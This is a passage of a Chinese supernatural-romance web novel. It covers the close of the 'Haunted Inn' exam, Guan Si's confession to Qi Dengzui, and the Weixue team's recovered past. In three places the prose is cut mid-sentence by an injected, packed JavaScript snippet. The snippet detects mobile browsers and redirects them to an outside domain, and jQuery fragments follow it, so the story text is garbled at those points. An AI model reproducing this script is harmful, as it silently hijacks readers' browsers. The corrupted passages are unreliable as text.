他飞入戚灯醉的身体,与此同时,戚灯醉脱离了身体,回归神魂状态。 没有床,神魂便没有脱离身体的媒介,唯一的办法,就是官肆的神魂强行挤占戚灯醉的身体,把他的神魂逼出来。 脱离身体的戚灯醉终于有精力放出收起来的大炮了。 大炮没有对着楚阳,而是炮口一转,直直射向了店铺的道具台上。 既然神魂世界的道具能用在身体鬼上,这个大炮,就一样能摧毁身体世界的店铺道具。 留下来的这发炮弹,就是最后的生机! 19. 猛鬼客栈.完 最后存留的这发炮弹,直直射进了身体世界的店铺。 在楚阳还没反应过来时,一发炮弹从他身后飞过,落到了店铺道具台上。 “不——不要!” “不!” “我的道具!” 身体鬼心急如焚,差点用身体去抵挡炮弹,他的瞳孔缩成一个小点,控制不住地眼前一黑。 AAA道具摧毁—— 身体鬼不再刀枪不入,攻击力、防御力、攻击速度全部都与常人无异,他的血量迅速下降到了20%。 BBB道具摧毁—— 身体鬼手里的死神镰刀化为点点微光,消失不见。 CCC道具摧毁—— 季弥骤然扔出一道符咒,轻而易举地就困住了身体鬼。 DDD道具摧毁—— 【因外力因素影响,怨鬼狂暴终止。】 四个道具全部摧毁,身体鬼已经彻底失去了战斗力。 身体鬼用尽最后一点力气,想要挣脱束缚,下一刻,他感觉自己能动了。 他内心狂喜,几乎是忍不住大笑一声,手忙脚乱地朝着店铺外跑去。 然后。 笑意凝固在了他的脸上。 ——店铺门口,静静地站着一个人。 或者说,一只鬼。 鬼孟舒看着他,歪着头轻轻咧开嘴角。 她的嘴角裂开到了鼻子旁上,身体鬼被吓得魂飞魄散,他一步一步后退,脸上写满了恐惧,嘴唇不停地颤抖。 “救救我……我不想死……”他重复着,血泪从眼眶中流下来,眼珠暴起。 他哪里算是什么鬼,不过是有了身体时空的店铺里道具加成的人罢了,失去道具的帮助,他和常人没有任何区别。 可鬼孟舒不一样,鬼孟舒是真正被他杀死了的人化作的怨鬼,是真正的鬼。 季弥抬手,鬼孟舒便走上前,她轻轻一扭,便卸下了身体鬼的胳膊。 仿佛遇到了什么好玩的玩具,鬼孟舒摆弄着身体鬼的身体,又拆又安,身体鬼痛得不停地嚎叫。 “救救我……救救我……” “她才是鬼,我不是鬼,我不是鬼啊……” 季弥眼神一暗,鬼孟舒接收指令,抬手就扇了他一巴掌,身体鬼的脸肿得青一块紫一块。 “有时候,人比鬼更可怕。” “比如,你。” 季弥使用了手里的道具。 〈断头台x2:怨鬼血量低于30%时,直接给予10%最大生命值的伤害。〉 官肆在进入戚灯醉身体前就将道具转给了季弥,季弥手里的“断头台”,加上官肆手里的“断头台”,刚好20%血量。 巨大的砍刀落在身体鬼的脖颈上,血液飞溅到了季弥的脸上,他冷眼看着身体鬼的头颅如足球一般滚到地上,说:“你杀了小舒,我杀了你,这就是宿命。” 头颅在地上滚了好几圈,最后掉出一把钥匙。 ——猛鬼客栈的题眼钥匙,竟然在身体鬼的头颅里。 鬼孟舒看着季弥,声音温柔地说:“季、弥,不、要、难、过。” “我、还、在。” 季弥看着她,抬起手把鬼孟舒的头发撩到了耳后,似感慨、又似叹息一般说:“嗯,变成一只小鬼了。” 在进入灵异学院之前,孟舒是一个豪门小姐,她胆子很小,一有风吹草动就会被吓到,还很容易磕了绊了,总是受伤。 在她很小的时候,她父亲便派了下属的儿子季弥来照顾她,季弥性格温柔,长得又好看,很快就和孟舒成为了好朋友。 两人青梅竹马,一起长大,她父亲把两人的感情看在眼里,并不反对他们在一起,反而极其支持。 孟父只有孟舒只有一个女儿,女儿的志向并不在管理公司这方面,反而喜好绘画搞艺术,可这偌大的家业必须得留给他的女儿,孟父因此苦恼已久。 季弥的出现正好替他解决了这个难题,季弥对他女儿的真心他能看得见,若孟舒和季弥在一起,季弥便能帮孟舒守住公司,不被他人侵吞。 人生如此顺畅,可季弥并没有一天停止过担忧。 因为他很快就知道了,孟舒之所以老是磕磕绊绊,遇见各种倒霉事,是因为孟舒体质特殊,因为她能吸引鬼。 这个体质在平常世界里可能只会让孟舒受点小伤,可放在灵异学院里,便是致命的。 季弥回头看着戚灯醉,说:“小舒已经被我契约了,她不属于考场,你们没必要杀她,考试已经结束了。” 系统仿佛听到了他的话。 【恭喜考生戚灯醉、官肆、季弥破解最终考题,成功存活。】 【正在结算各位考生本次考试的答卷分数……】 〈终于结束了,一波未平一波又起的,太刺激了,看得我太阳穴都疼了。〉 〈天哪,楚阳就这么死在考场里了?〉 〈唉,我姐妹还挺喜欢楚阳的,没想到就这么死了。〉 〈死了就死了呗,旧的不去新的不来,楚阳死了就粉其他人呗,让你姐妹不要吊死在一棵树上啊。〉 【本次考试分数结算:戚灯醉95分,季弥90分,官肆85分。】 【考生楚阳、孟舒,缺考,0分。】 【考试已结束,正在前往新生报告厅……】 戚灯醉还没来得及看看官肆的情况,就被传走了。 熟悉的“新生报告厅”的支架立在他面前。 机器人依旧是180°转了半圈脑袋,声音波澜不惊:“欢迎考生回到灵异学院~” 【考生姓名:戚灯醉 考生等级:平平无奇LV.4 考生积分:190 考生排名:未上榜】 【考生姓名:官肆 考生等级:平平无奇LV.4 考生积分:180 考生排名:未上榜】 这次有了面容,戚灯醉刚一落地,就被周围的人堵了个严严实实。 “戚神!戚神!“ 一群人围着他欢呼,声音震得他胸腔发疼。 他试探性地咳了几声,果不其然,有人开口了:“戚神受伤了,先让戚神回去养伤吧!” 旁边一个女生对着戚灯醉眨了眨眼,眼神暧昧地说:“戚神,你可一定要好好照顾官肆喔。” 戚灯醉蹙眉,没懂她的意思,官肆他自然会照顾,还需要其他人叮嘱? 他打开地图,点了点学生宿舍,回到了宿舍的空间里。 官肆此刻已经陷入了沉睡,趁着这个时间,戚灯醉去洗了个澡,换了一身衣服。 官肆没醒过来正好,免得他又尴尬。 等差不多过了两三个小时,官肆的意识才幽幽转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961541|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。 意识海里的白色光球舒服地滚了几圈,滚着滚着就滚到了戚灯醉的怀里。 黑色光球接住了白团子,笑道:“你是孩子么?还滚来滚去的。” 官肆若是有身体,怕是已经脸红了。 他道:“戚哥,我……” “有事就说,这次害你意识沉睡,是我考虑不周。”戚灯醉解释道,“当时情况紧急,我不得不出此下策,现在出考场了,给你补偿一下,你想要什么,嗯?” 官肆没吱声。 他怕他想要的,戚灯醉不给他。 “怎么了?这副心神不宁的样子。”戚灯醉揉了揉他,说,“我不是那种不讲道理的人。” 官肆问他:“戚哥,你真的想听吗?” 戚灯醉还没意识到事情的严重性,“嗯,说吧。” 官肆看着他的眼睛,声音清脆:“戚哥,我喜欢你。” 戚灯醉:“嗯。” 他回味了一秒钟,才突然反应过来。 “嗯?”他愕然道,“你说什么?” 官肆视死如归道:“我说我喜欢你,官肆喜欢戚灯醉,不是副人格对主人格的喜欢,不是弟弟对哥哥的喜欢,就只是……” 他深吸一口气,说:“就只是,我喜欢你。戚灯醉,我喜欢你。” 他突如其来的告白让戚灯醉始料不及。 戚灯醉看着官肆,问他:“你知道你在说什么吗?你我共用一体。” “我知道我在说什么,戚哥,我知道你一直把我当副人格,亦或是……朋友,可我从来没有弄错过我的感情。” 官肆说:“戚哥,我想和你在一起,不是共用一个身体,而是,像爱人一样,一起生活。” 戚灯醉没回应他,他从意识海里抽身,揉了揉太阳穴,感觉考场里受伤的副作用在此刻全部汇集起来了。 “官肆,你先冷静一下,我想想。” 他要想想,官肆是怎么变成这样的。 官肆对他确实很亲近,可他着实没想到,官肆的亲近居然是这种亲近。 他对自己,居然是这种想法。 戚灯醉叹了一口气,心想,最近是没有安生的日子可以过了。 还没等戚灯醉想好,他就先收到了两封邀请信。 一封来自谢不语,一封来自裴宿。 谢不语无非就是邀请他去打架,裴宿主要是邀请他商量战队的事情。 不过……戚灯醉突然想起来,他的本命武器——琉璃扇,在“猛鬼客栈”考场里就已经碎掉了,那现在,他的武器呢? 他点开背包,发现原本放着琉璃扇的地方,突然冒出一个新的扇子。 扇子光泽通透,呈血红色,标签上写着——血玉扇。 相传,上古时期,人鬼神三界并立,这把血玉扇便是鬼界三鬼王之一、人称“血衣玉扇堪风流”的鬼王颜断的武器。 这把扇子的血玉,是颜断的心头血加之玉器幻化而成的,威力惊人。 当年号称“血谪仙”的颜断,就是靠着这把扇子,一跃成为鬼界三鬼王之首。 可这血玉扇,为什么会到了他的身上呢? 明明他的扇子应该是琉璃扇,即使系统想要补偿他,按理说也应该是重新赔偿他一把琉璃扇,而不是把这么强大的血玉扇给他。 难道,他和这把血玉扇,有什么联系? 20. 微雪战队 血玉扇上并没有任何提示,戚灯醉暂时不知道任何线索,在谢不语和裴宿的邀约中,戚灯醉选择了去赴裴宿的约。 裴宿拉他,是要去做战队成员的身份认证,前面他虽然邀请了戚灯醉,但这只是初步的人员变动,具体能不能组成一个战队,还要看系统的判定。 并且,他们也没有确定战队的名字。 战队认证是去战队大厅的战队认证厅里,在新生报告厅的右边,很大一块场地。 戚灯醉到的时候,意外地见到了一个熟人。 战队大厅里。 谢不语看着戚灯醉,点头示意,语气自然,“来做战队认证?” 戚灯醉点头,说:“怎么,谢君也是来战队认证的?” 谢不语颔首,慢吞吞地说:“不必违心叫我谢君,这不是你的风格,直接叫谢不语便好。” 戚灯醉道:“谢不语,你好像很熟悉我?” 出乎意料地,谢不语直接承认了:“是,我说过,我们是对手,你觉得呢?” 他很期待得到戚灯醉的回复。 他已经太久,没有体验过和戚灯醉做对手的感觉了。 戚灯醉今天穿的是一身黑色条纹西装,领带打理得十分齐整,合身的衣服衬托出他优越的身材。 他的鼻梁高挺,上面架着一副金框眼镜,在大厅光线的反射下闪烁着明亮的光芒,削减了不少身上的冷冽气息。 谢不语看见面前的人摘下眼镜,声音骤然冷了好几分。 “谢不语,你逾矩了。” 谢不语眼眸中划过一丝细微的惊讶,随即道:“官肆?我和戚灯醉说话,还没有你插嘴的地方。” 官肆褪去了在戚灯醉面前的温和,冷笑一声,说:“谢不语,你就这么迫不及待让戚哥知道一切么?” 谢不语怔忡一瞬,“你们有战队,战队认证必然失败,戚灯醉自然会知道一切,你已经瞒不住了,不是吗?” “还是说……” 谢不语笑道:“官肆,你很害怕?怕戚灯醉想起来一切后,知道了你不是他的副人格,就会和你撇清关系?” 他这句话几乎是不留情面地彻底撕开了官肆的假面。 官肆沉默不语。 少顷,他才道:“就算他马上要知道真相了,那也是他的事,旁人都没有置喙的权利。” “包括你,谢不语。” 官肆走进战队认证厅,从头打下来的光纤衬得他身影高大挺拔。 他的嗓音很平淡,却无端生出一股强大的起场,声音从前至后传进来谢不语的耳中。 “离戚灯醉远点,我不想再重复一遍。” - 不多时,裴宿和贺逐也到了。 战队认证厅的正中央有一个台子,将手附上去,就能开始战队认证。 裴宿的手刚刚附上去,台心就绽放出强大的光柱,直冲云霄,光柱不断变化着颜色,最后消失不见。 台心上缓缓现出一个叉。 【抱歉,您已加入战队,战队认证失败,请检查错误后再重新认证。】 裴宿愣了。 “已加入战队,这是什么意思?” “字面意思。” 裴宿:? 身后传来官肆的声音,说,“走吧,跟我去个地方,我告诉你们真相。” 他的声音多了几分轻松感,仿佛卸下了一直以来的重担。 …… 灵异学院从诞生之初,就无人知晓它从何而来,因何而生,又往何而去。 但在它诞生的第五十年,史无前例地迎来了一位最有希望窥破侦探社秘密的人。 ——他是微雪的队长,戚灯醉。 在灵异学院的历史上,陨落过一代又一代新星。 那年,这位在当时最耀眼的星辰掐灭了烟,声音带着寒意:“微雪从来不收废物,如果你还是这样的水平,就给我滚出去。” 新入队的新人站在他面前,低垂着头,一声不吭。 戚灯醉转身扔了烟,一步一步上了楼。 裴宿靠在二楼的阳台上吸烟,看着楼下黯然神伤的官肆,在戚灯醉经过她身边时,打趣道:“哟,戚大美人这么凶?都吓着小官了。等会真打击到了小官,到时候还得是你自己哄。” 戚灯醉蹙眉说:“烟鬼,少抽点。” 裴宿哼了一声:“还教训起我来了,是谁领着头抽的?” 戚灯醉冷冷道:“我几个月抽一根,你几个小时抽一根,能和我比?” “行了行了,戚大美人。”裴宿摆摆手,“不是我说,小官这进步速度,已经够拼了,他要是和我们同期,就算比不上你,也不见得比我们差。” “我已经没有时间来等他成长了。”戚灯醉撑在阳台上,“最终考试马上就要开始了。” 裴宿叹了口气,说:“我下去看看他。” 他蹬着一双皮鞋下了楼。 官肆听见一阵清脆的响声,而后背后的人拍了拍他的肩,有些吊儿郎当地说:“小美人,别伤心啊,戚大美人可是会心疼的。” 官肆站在原地,声音消沉,似乎闷闷不乐:“真的吗?戚队是不是很看不上我?可我已经在努力了。” 裴宿简直要被官肆这副蔫巴巴的样子逗笑了,他“害”了一声,说:“你们戚队不就是这样吗?长得挺帅,嘴巴却挺毒,你该习惯才是,嗯?” 官肆低下头:“可我不想让他不高兴,我也不想拖你们后腿。” “你没有拖后腿,只是他太心急了。”贺逐走过来,“戚队希望你、我、我们都能多一分活下去的机会。” 似乎闻到了裴宿身上的烟味,贺逐蹙了一下眉,接着道:“你既然加入了微雪,就应该明白,你马上要进入的,是和你实力完全不匹配的最终考试,整个灵异学院的历史上,都没有人通关过。” 官肆不解道:“既然如此,戚队为什么要收我,我明明……” 他的声音更加失落:“我明明只是一个连前100名都没有的废物而已。” “如果你一直是这样的想法,你就永远进步不了。”戚灯醉不知何时到了官肆的身边,声音平淡,“我不做亏本的买卖,我有我的打算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也不知道,自己当初是哪里来的勇气,才能在看见微雪招人信息后,顶着100名开外的名次,头脑一热就来了。 来到微雪,就像一场梦一样,他总觉得很不真实。 想到这里,官肆点头说:“我知道了。” 戚灯醉看他乖乖巧巧的样子,心还是软了一分,说:“强者从来不会自我厌弃,我刚刚说话重了些,我和你道歉,但我希望你能振作起来,在接下来的训练里,别再动不动就走神掉链子。” 他道:“你在上一个考场里犯的错误是致命的,如若不是裴宿反应快,把你捞了出来,你都撑不到最终考试。” 官肆知道戚灯醉的意思。 上个考场里他使用防御阵抵挡丧尸的进攻,却在关键时候突然犯抽,防御阵直接消散了,丧尸一瞬间就冲了上来,差点把他撕碎。 官肆黯然道:“我明白了,戚队,我会好好表现的。” “嗯。”戚灯醉转身离开,他捏了捏手里的糖,做了个摆手的动作,“糖我收下了。” “还有——” “别叫我戚队了。” 21. 有些记忆 “后来呢?”裴宿问他。 “后来——”官肆的目光很悠远,“后来我们进入了灾厄亡灵祭祀考场,然后,你们都死了。” 那个副本很难,按理说,应该是官肆最先死,可事实却并非如此。 作为阵法师的裴宿是第一个死的,其次是贺逐,最后是戚灯醉。 而原本最弱的官肆,反而活到了最后。 也是在戚灯醉死的那一刻,官肆才真正地知道了自己的作用是什么,也知道了,为什么自己能活到最后。 因为——戚灯醉在用自己的命,死死护着官肆,护着他这个,本应该最先葬身的人。 “这么说,我是NO.4,贺逐是NO.3,那NO.2呢?他为什么没有加入微雪?”裴宿没懂。 官肆的思维一检索到NO.2就来气,声音都带着些咬牙切齿:“NO.2是谢不语,不知道他是哪根筋搭错了,非要缠着戚哥,要做他对手。” 他忍不住评价道:“神经病。” 裴宿:“…………”今天的官肆有点火辣啊。 贺逐道:“照你这么说,我们不是应该死了?怎么还能复活?” 官肆道:“因为我有一个被动,至于具体的细节,等你们稍后恢复记忆就知道了。” 毕竟当初,除了官肆,其余三个人都知道他的这个被动,把他蒙得团团转,甚至直到死都没有告诉他。 “稍后?”裴宿道,“我们还有多久才能恢复记忆?” 官肆道:“很快,最迟不过三天之内。” “戚灯醉呢?他知道吗?”贺逐问官肆,“你们应该不是自然切换的吧?你突然占据了身体,强行压制了戚灯醉的意识,难道就是为了告诉我们这些?” 官肆轻叹道:“我只是还没有准备好。” “总该知道的。”贺逐说,“你们自己好好处理吧,我们先走了。” “诶?”裴宿道,“走什么,我还有事没问呢。” 贺逐冷冷扫了他一眼,说:“有什么想问的,不如到时候恢复记忆后问我。” 裴宿:? 你神经病啊,恢复记忆了还问你干嘛? 他优雅地翻了个白眼,说:“懒得和你说,我约了个帅哥,先走了。” 贺逐说:“你又要去鬼混?” “怎么?”裴宿道,“你很在意吗?” 贺逐一时无言以对。 从第一眼见到裴宿时,他的心里就涌起了一股无名的悸动,曾经他不知道这是为什么,可今天,官肆告诉他,他们曾经是一个战队的,他和裴宿,曾经是并肩作战的队友。 所以,到底当年发生了什么,才让他对裴宿产生了如此特殊的情感呢? - 官肆回了学生宿舍,才踏进门,戚灯醉就切了回来。 戚灯醉问他:“你去做了什么?” “才刚换回来,戚哥你就要问我这些吗?我还没有做好准备呢。” 戚灯醉坐到沙发上,姿态懒散,“你如果没有做好准备,就不会强行压制我的意识。” 官肆无奈地笑了一声,说:“戚哥,有时候我真想你没那么聪明。” 顷刻间,戚灯醉感觉身体一痛,灵魂仿佛撕裂成了两片,太阳穴抽搐着,饶是他忍耐力非比寻常,也忍不住发出轻微的哼鸣。 他的面前,慢慢现出一个青年的影子。 等剧痛消失后,戚灯醉才看向面前的官肆。 官肆还是之前在“猛鬼客栈”考场里的那副面容,但是不再是古代的打扮,而是身着一件休闲的白衬衫,袖口外翻。 虽然只是神魂凝结而成的样子,可却也与常人无异。 “你想亲口告诉我一切,对吗?”戚灯醉盯着他的眼睛,一字一顿,“官肆,看着我。” “回答我。” 官肆对上他的视线,蓦然觉得心头一酸。 他说:“戚哥,对不起,我骗了你。” “我从来都不是你的副人格,我的确是……一个寄住到你身体里的魂魄。” 他一五一十地把对裴宿说的事情重新复述了一遍。 至此,他的任务终于圆满完成了。 让戚灯醉他们知道自己的身份,是拿回他们记忆的密钥。 由于系统限制,想要重新找回记忆,官肆必须要让他们重新聚到一起,进行战队认证,才能告诉他们身份,激活封印记忆的钥匙。 他本来以为这很难,没想到阴差阳错,他们在第一场考试就相遇了,还迅速相熟。 或许,这就是微雪成员间的羁绊。 是他们同生共死下结下的缘分。 戚灯醉微愣,不动声色地打量着他,问他:“为什么你会到我的身体里来?” 官肆道:“可能是因为,执念吧。” “戚哥,我之前有句话是真的,我真的,很喜欢你。” 说出这句话时,官肆整个胸腔都在振动着,神经紧绷到了极点,仿佛下一秒就要断开。 戚灯醉一时没说话。 他实在不理解官肆到底是哪条路走歪了,怎么会喜欢上他呢? “戚哥,如果你一时之间接受不了,我明白的,我们可以慢慢来,但是,你能不能给我一个机会。” 戚灯醉心口有些发堵,“你是从什么时候开始的?” “我不知道,戚哥。”他说,“如果爱意也能有明确的界限,我就不会克制不了自己了。” “如果真的要说,我什么时候对你有这么深的执念的,大概就是,看见你死在我面前的那一幕的时候。” 那一幕,是官肆毕生都忘不掉的一幕。 在他得知,戚灯醉是用命在护着他,他才能活下来的时候。 爱意自内心深处蓬勃而生,将他整个人淹没在了欲海里,官肆努力地挣扎着,想要重新回到那艘名叫“理智”和“克制”的船上,却被裹挟着欲望、悲痛和震撼的潮流卷入了深处,陷入了极端。 他不可能放弃戚灯醉。 戚灯醉头一次感觉思绪如此混乱,却不知道拿官肆怎样才好。 官肆是他招进微雪的,也是他手把手带起来的,即使现在他没有了过去的记忆,可至少官肆也做了他这么久的“副人格”,真要说没感情,他也说不出口。 他拍了拍身旁的位置,说:“你来我身边坐,我们俩好好谈一下。” 官肆动作僵硬地走到戚灯醉身边。 戚灯醉暗自摇头,刚刚和他示爱那么大胆,怎么现在让他坐一下又扭扭捏捏的了。 他攥住官肆的手,一把拉下来,官肆还没反应过来,就落进了柔软的沙发里面。 官肆声音闷闷的:“戚哥,我该说的都说了,你到底想谈什么?” 戚灯醉选了个放松的姿势,问他:“你真的想好了?” “嗯,我想得特别清楚。”官肆紧张地掐了掐自己的白衬衫,耳朵有些热。 戚灯醉看过来的时候,说话的气息喷洒在他的侧脸上,又痒又热。 心脏扑通扑通地跳着。 戚灯醉喉结攒动着,又重复了一遍刚刚的话,“官肆,转过来,看着我。” 官肆无法逃避,他缓缓将视线移到了戚灯醉的脸上,从薄薄的嘴唇到高挺的鼻梁,再到那双深邃却平静的眼睛。 他看着戚灯醉,就这么和他对视着。 再无一言。 良久,久到官肆都快陷进那双眼睛里的时候,戚灯醉低头,唇角若有似无地勾了一下。 他说:“我知道你的意思了,听候发落吧。” 官肆怔怔地看着他,脑子一下子就宕机了,他心头一颤,眼眶慢慢地就红了。 戚灯醉看他这副模样,实在是没忍住,喉头溢出一声笑,说:“没明白?我的意思是,回去领旨,你晋升了。” 官肆眼泪哗啦一下就掉下来了,声音带着一点哽咽,“真的吗?” 戚灯醉在心里叹气,把他拉过来,抱了一下,说:“怎么还哭了?” 官肆眼中氤氲一片,他摇了摇头,紧紧地抱住戚灯醉。 “戚哥,你真好。” 接着,趁戚灯醉不注意,他吧唧一下就往戚灯醉侧脸上来了一口。 …… 然后就跑没影了。 戚灯醉动作一滞。 片刻后,他才摸了摸侧脸,看着官肆离去的方向,失笑道:“你小子,还知道打感情牌,真是拿你没办法。” 他叹了一口气,认命地去洗漱了。 - 当天晚上,戚灯醉就逐渐开始恢复记忆了。 二十年前,NO.1戚灯醉、NO.3贺逐、NO.4裴宿齐聚微雪,眼看就要到最终考试了,但最后一个成员的人选,却迟迟都定不下来。 最终考试迫在眉睫,戚灯醉再三思量,最后决定公开招募最后一位辅助位。 他在某场考试里拿到一个测试仪,只要被测试的人愿意,戚灯醉就能看见他们的本命技能和被动技能,这种测试仪并不少见,但难就难在得让人自愿。 可个人技能本就是很私密的事情,为了加入一个马上要去著名的送死考场——“灾厄亡灵祭祀”考场的队伍,而把底牌掏出来给其他人看,是血亏的买卖。 趋利避害,本就是人之常情。 因此,哪怕微雪的名声再响亮,最终来报名的人也寥寥无几。 而彼时只是因为崇拜微雪名号的官肆怎么也没想到,自己一个100名开外的新星,就这么阴差阳错地入选了。 在看见了他的技能后,戚灯醉神情一滞,突然正色,接着就通知了裴宿和贺逐。 不多时,裴宿和贺逐就赶到了,戚灯醉和他们耳语一番后,裴宿和贺逐左思右想,最后还是摇了摇头,说:“他太弱了,100名和10名,是难以逾越的台阶,而10名和前5,又是天大的鸿沟。” 他们的声音并没有刻意避过官肆,官肆很简单就能听见。 他并不觉得有多冒犯,他早就知道,以他的实力,莫说进微雪,就是学院任何一个前10战队,只要决策人不犯傻,都不会要一个连前100都进不去的人。 他只是想看看微雪长什么样子,想看看那位万众敬仰的NO.1长什么样子。 官肆不想让他们为难,他垂着眼,浓密的睫羽掩盖住了眼中的落寞,“我明白了,多谢前辈,我先走了。” 他转身,正要离去,背后的戚灯醉突然开口道:“战队认证都还没做,你着急着走什么?还是说,你不想加入微雪了?” 官肆动作一顿,几乎是不可置信地回头,“什么?” 伴随着官肆的动作,同样震惊的还有裴宿,他一把抓住戚灯醉的手,咬牙问他:“戚灯醉,你疯了?!你的想法根本不可能实现,你太理想化了,他这样的实力,你拿什么来保证容错率?” “我会做他的容错率。”戚灯醉侧身看着裴宿,用一种近乎高傲的姿态说:“裴宿,你敢陪着我赌这一把么?” 官肆听不懂他们的谈话内容,他只知道他们三个人关在房间里吵了很久。 后来戚灯醉才想起来,贺逐当时对他说:“你要招官肆我不反对,可官肆的技能就注定了他不能比我们任何一个人先死,他这样的实力,你一定能保证,他会活到最后吗?” 而彼时的戚灯醉只是盯着贺逐的眼睛,说:“能,因为我会用我的命来保他,让他成为最后一位存活者。” …… 直到官肆都快要睡着了,戚灯醉才踹开门,扔给了他一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961543|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战队认证指南,然后心情颇有些愉悦地插着兜走了。 - 加入微雪后,因为官肆本身的实力悬殊,戚灯醉不得不手把手带着他下副本。 官肆资质并不差,相反,他非常有天赋,如果给他足够的发育空间,进入前10,只是时间问题。 可他们、包括官肆自己,都明白一个问题——他没有时间了。 因此,每次戚灯醉带着他下本的时候,对于他的错误,都是不加掩饰、一针见血地直接指出来,常常训得他抬不起头。 而裴宿向来会来事,从来不会指责官肆,哪怕那次官肆差点葬身考场,还拖累了裴宿来救他,出了考场,裴宿依然笑盈盈地一口一个“小美人”“小官”。 哪怕是平常不苟言笑的贺逐,为了照顾他的情绪,也没有对他说过几句重话。 因而,旁人总会觉得戚灯醉过分苛责,不近人情。 所以官肆起初会害怕,会一板一眼、老老实实地喊戚灯醉“戚队”。 但是官肆从来不会忘记,当初没有任何人同意他进微雪——除了戚灯醉。也没有任何人,比戚灯醉更相信他能做微雪的辅助位。 时间久了,官肆的胆子就越来越大了,他会开戚灯醉的玩笑,趁戚灯醉不注意,把一颗外面酸得掉牙、里面甜得牙疼的棒棒糖塞戚灯醉嘴里。 但是戚灯醉反射弧真的很长很长,长到很久都反应不过来,等他回神,因为酸涩要指责官肆时,嘴里滋味已经变甜了。 - 后来有一次,官肆中了某个考场的诅咒,变成了一只白色的小团子,戚灯醉单枪匹马来救他,没等戚灯醉找到人在哪,就听见头顶传来一声呼喊。 “戚哥,我在这儿,我来了!” 戚灯醉循着声音一抬头,眼前白白一片,手突然重了好几倍。 扑通一下,一个团子就进了他的怀抱。 一瞬间,四目相对。 戚灯醉半眯着眼睛:“官肆?” “是我。”白团子肉嘟嘟地,摸上去手感舒适得不行。 戚灯醉悄悄抓了一把,不动声色道:“嗯。” 从那之后官肆才知道,戚灯醉居然喜欢毛茸茸的东西,对团子形态的他毫无抵抗力。 - 考试前一天晚上,官肆把自己关在房间里,背着所有人,一刻不停地训练。 他总觉得,他多努力一点,微雪就能多一分活下去的希望。 戚灯醉敲开门,似乎看出来了他在干什么,站在门口问他:“明天就是最终考试了,你怎么还在训练,真不怕自己猝死?” 官肆抚摸着手里的骷髅白骨伞,老老实实道:“嗯,我有些紧张,所以想趁时间再加训一下。” 戚灯醉的声音听不出喜怒,他说:“差这一会儿时间?该休息就休息。” 在官肆的目光下,戚灯醉不由分说地就攥住他的手。 戚灯醉的手修长白皙,却极其有力。官肆没反应过来,脑袋空空地任由戚灯醉拉着他朝着天台走去。 “戚哥……你这是做什么?” 戚灯醉道:“带你放松一下。” 成为灵异学院前10后,就能自己选择一座独立于学院宿舍的别墅,戚灯醉选择的地势很好,恰好位于整个灵异学院的最高处,站上天台,整个学院一览无余。 他找了个视野最好的地方,坐下来,看见官肆犹豫的神情,戚灯醉微抬下巴,示意他身旁的位置,“过来,坐这。” 他的眼眸在月光的照耀下映出透亮的光泽,直直射入官肆的眼中。 官肆走到他身边,动作轻缓地坐下来。 “戚哥,我们明天就要进考场了。” “嗯,最后一晚了。”戚灯醉突然问他:“你多大了?” 官肆道:“21。” “还挺小。”戚灯醉看着底下的整个学院,感慨道:“我都27了。这么说起来,你好像还没在微雪里过过生日?” 官肆点点头,顺着他的目光望过去,说:“明天就是我在微雪的第一个生日。” 戚灯醉稍显意外,他道:“看来是过不了了,你可有什么愿望?说说看,就当提前过生日了。” 戚灯醉的声音很平淡,似乎他并不觉得,自己会死在最终考试里,亦或是他明明知道,却也不在意生死。 “我没有什么愿望,不过戚哥,我想告诉你一件事。”官肆不敢看戚灯醉的眼睛,他拉住戚灯醉的手,在戚灯醉耳边呢喃了一句话,声音飘渺空旷,轻得仿佛要随风而散。 他说:“等出了考场,我就告诉你。” 戚灯醉没有推开他,也没有说任何话,他好像在用一段不太显眼的沉默,无声地纵容官肆的“逾矩”。 少顷,他说:“今晚灵异学院要放烟花,系统会给每支进入最终考场的队伍都准备一次烟火秀,就在最终考试的前一天晚上。” “这是前一只进入最终考场的队伍留下来的消息,你应该不知道,所以我才带你来,等看完了就去睡个好觉,别想太多,放轻松。” 最后几个字随着绽放的烟火一起迸发。 这场烟火秀声势巨大,不论是还在睡梦中的考生,亦或是在外逗留的旅人,都寻了个好地方,欣赏这绚烂的场面。 烟火划过长空,在漆黑的夜幕中绽开,巨响盖过了人们的欢呼,也盖过了官肆胸腔中如擂鼓般躁动的心跳。 若是时光能停在这一刻,该多好呢? 官肆看着映入眼帘的烟花,用余光不经意地瞥了一眼戚灯醉,然后在戚灯醉发现前收回目光。 他低下头轻轻地笑了一下。 怎么会没有愿望呢? 我的愿望,就是我们都能活着走出考场。 ——仅此而已。